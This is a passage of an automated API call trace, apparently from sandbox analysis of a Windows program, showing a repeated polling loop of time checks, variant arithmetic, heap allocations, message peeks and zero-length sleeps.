pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.200] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.200] GetCurrentProcessId () returned 0x9e0 [0180.200] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.200] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.200] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.200] GetTickCount () returned 0x115db62 [0180.200] GetTickCount () returned 0x115db62 [0180.200] GetTickCount () returned 0x115db62 [0180.200] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.200] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.200] GetTickCount () returned 0x115db62 [0180.200] IsWindowVisible (hWnd=0x30268) returned 0 [0180.200] IsWindowVisible (hWnd=0x40298) returned 0 [0180.200] Sleep (dwMilliseconds=0x0) [0180.200] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.201] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.201] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.201] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.201] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.201] GetCurrentProcessId () returned 0x9e0 [0180.201] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.201] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.201] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.201] GetTickCount () returned 0x115db62 [0180.201] GetTickCount () returned 0x115db62 [0180.201] GetTickCount () returned 0x115db62 [0180.201] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.201] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.201] GetTickCount () returned 0x115db62 [0180.201] IsWindowVisible (hWnd=0x30268) returned 0 [0180.201] IsWindowVisible (hWnd=0x40298) returned 0 [0180.201] Sleep (dwMilliseconds=0x0) [0180.201] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.202] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.202] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.202] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.202] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.202] GetCurrentProcessId () returned 0x9e0 [0180.202] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.202] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.202] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.202] GetTickCount () returned 0x115db62 [0180.202] GetTickCount () returned 0x115db62 [0180.202] GetTickCount () returned 0x115db62 [0180.202] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.202] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.202] GetTickCount () returned 0x115db62 [0180.202] IsWindowVisible (hWnd=0x30268) returned 0 [0180.202] IsWindowVisible (hWnd=0x40298) returned 0 [0180.202] Sleep (dwMilliseconds=0x0) [0180.202] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.203] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.203] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.203] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.203] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.203] GetCurrentProcessId () returned 0x9e0 [0180.203] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.203] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.203] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.203] GetTickCount () returned 0x115db62 [0180.203] GetTickCount () returned 0x115db62 [0180.203] GetTickCount () returned 0x115db62 [0180.203] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.203] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.203] GetTickCount () returned 0x115db62 [0180.203] IsWindowVisible (hWnd=0x30268) returned 0 [0180.203] IsWindowVisible (hWnd=0x40298) returned 0 [0180.203] Sleep (dwMilliseconds=0x0) [0180.203] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x2e)) [0180.204] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.204] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.204] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.204] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.204] GetCurrentProcessId () returned 0x9e0 [0180.204] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.204] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.204] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.204] GetTickCount () returned 0x115db62 [0180.204] GetTickCount () returned 0x115db62 [0180.204] GetTickCount () returned 0x115db62 [0180.204] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.204] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.204] GetTickCount () returned 0x115db62 [0180.205] IsWindowVisible (hWnd=0x30268) returned 0 [0180.205] IsWindowVisible (hWnd=0x40298) returned 0 [0180.205] Sleep (dwMilliseconds=0x0) [0180.207] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x3e)) [0180.207] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.208] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.208] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.208] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.208] GetCurrentProcessId () returned 0x9e0 [0180.208] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.208] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.208] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.208] GetTickCount () returned 0x115db71 [0180.208] GetTickCount () returned 0x115db71 [0180.208] GetTickCount () returned 0x115db71 [0180.208] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.208] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.208] GetTickCount () returned 0x115db71 [0180.208] IsWindowVisible (hWnd=0x30268) returned 0 [0180.208] IsWindowVisible (hWnd=0x40298) returned 0 [0180.208] Sleep (dwMilliseconds=0x0) [0180.220] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x4d)) [0180.221] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.221] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.221] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.221] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.221] GetCurrentProcessId () returned 0x9e0 [0180.221] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.221] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.221] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.221] GetTickCount () returned 0x115db81 [0180.221] GetTickCount () returned 0x115db81 [0180.222] CoFreeUnusedLibraries () [0180.222] GetTickCount () returned 0x115db81 [0180.222] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.222] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.222] GetTickCount () returned 0x115db81 [0180.222] IsWindowVisible (hWnd=0x30268) returned 0 [0180.222] IsWindowVisible (hWnd=0x40298) returned 0 [0180.222] Sleep (dwMilliseconds=0x0) [0180.236] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x5d)) [0180.236] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.236] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.236] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.236] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.237] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.237] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.237] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.237] GetTickCount () returned 0x115db90 [0180.237] GetTickCount () returned 0x115db90 [0180.237] CoFreeUnusedLibraries () [0180.237] GetTickCount () returned 0x115db90 [0180.237] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.237] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.237] GetTickCount () returned 0x115db90 [0180.238] IsWindowVisible (hWnd=0x30268) returned 0 [0180.238] IsWindowVisible (hWnd=0x40298) returned 0 [0180.238] Sleep (dwMilliseconds=0x0) [0180.251] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x6d)) [0180.251] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.251] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.251] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.251] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.252] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.252] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.252] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.252] GetTickCount () returned 0x115dba0 [0180.252] GetTickCount () returned 0x115dba0 [0180.252] CoFreeUnusedLibraries () [0180.252] GetTickCount () returned 0x115dba0 [0180.252] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.252] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.252] GetTickCount () returned 0x115dba0 [0180.253] IsWindowVisible (hWnd=0x30268) returned 0 [0180.253] IsWindowVisible (hWnd=0x40298) returned 0 [0180.253] Sleep (dwMilliseconds=0x0) [0180.263] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x6d)) [0180.263] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.263] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.263] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.263] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.264] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.264] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.264] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.264] GetTickCount () returned 0x115dba0 [0180.264] GetTickCount () returned 0x115dba0 [0180.264] CoFreeUnusedLibraries () [0180.264] GetTickCount () returned 0x115dba0 [0180.264] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.264] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.264] GetTickCount () returned 0x115dba0 [0180.265] IsWindowVisible (hWnd=0x30268) returned 0 [0180.265] IsWindowVisible (hWnd=0x40298) returned 0 [0180.265] Sleep (dwMilliseconds=0x0) [0180.265] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x6d)) [0180.265] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.265] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.265] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.265] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.266] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.266] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.266] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.266] GetTickCount () returned 0x115dba0 [0180.266] GetTickCount () returned 0x115dba0 [0180.266] CoFreeUnusedLibraries () [0180.266] GetTickCount () returned 0x115dba0 [0180.266] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.266] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.266] GetTickCount () returned 0x115dba0 [0180.266] IsWindowVisible (hWnd=0x30268) returned 0 [0180.266] IsWindowVisible (hWnd=0x40298) returned 0 [0180.266] Sleep (dwMilliseconds=0x0) [0180.267] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x7c)) [0180.267] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.267] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.267] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.267] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.267] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.267] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.267] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.267] GetTickCount () returned 0x115dbb0 [0180.267] GetTickCount () returned 0x115dbb0 [0180.268] CoFreeUnusedLibraries () [0180.268] GetTickCount () returned 0x115dbb0 [0180.268] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.268] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.268] GetTickCount () returned 0x115dbb0 [0180.268] IsWindowVisible (hWnd=0x30268) returned 0 [0180.268] IsWindowVisible (hWnd=0x40298) returned 0 [0180.268] Sleep (dwMilliseconds=0x0) [0180.276] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x7c)) [0180.276] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.276] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.276] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.276] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.277] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.277] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.277] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.277] GetTickCount () returned 0x115dbb0 [0180.277] GetTickCount () returned 0x115dbb0 [0180.277] CoFreeUnusedLibraries () [0180.277] GetTickCount () returned 0x115dbb0 [0180.277] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.277] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.277] GetTickCount () returned 0x115dbb0 [0180.277] IsWindowVisible (hWnd=0x30268) returned 0 [0180.277] IsWindowVisible (hWnd=0x40298) returned 0 [0180.277] Sleep (dwMilliseconds=0x0) [0180.279] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x7c)) [0180.279] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.279] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.280] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.280] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.280] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.280] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.280] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.280] GetTickCount () returned 0x115dbb0 [0180.280] GetTickCount () returned 0x115dbb0 [0180.280] CoFreeUnusedLibraries () [0180.280] GetTickCount () returned 0x115dbb0 [0180.280] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.280] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.280] GetTickCount () returned 0x115dbb0 [0180.280] IsWindowVisible (hWnd=0x30268) returned 0 [0180.280] IsWindowVisible (hWnd=0x40298) returned 0 [0180.280] Sleep (dwMilliseconds=0x0) [0180.281] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x7c)) [0180.281] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.281] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.281] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.281] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.281] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.281] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.281] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.281] GetTickCount () returned 0x115dbb0 [0180.281] GetTickCount () returned 0x115dbb0 [0180.282] CoFreeUnusedLibraries () [0180.282] GetTickCount () returned 0x115dbb0 [0180.282] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.282] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.282] GetTickCount () returned 0x115dbb0 [0180.282] IsWindowVisible (hWnd=0x30268) returned 0 [0180.282] IsWindowVisible (hWnd=0x40298) returned 0 [0180.282] Sleep (dwMilliseconds=0x0) [0180.299] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, 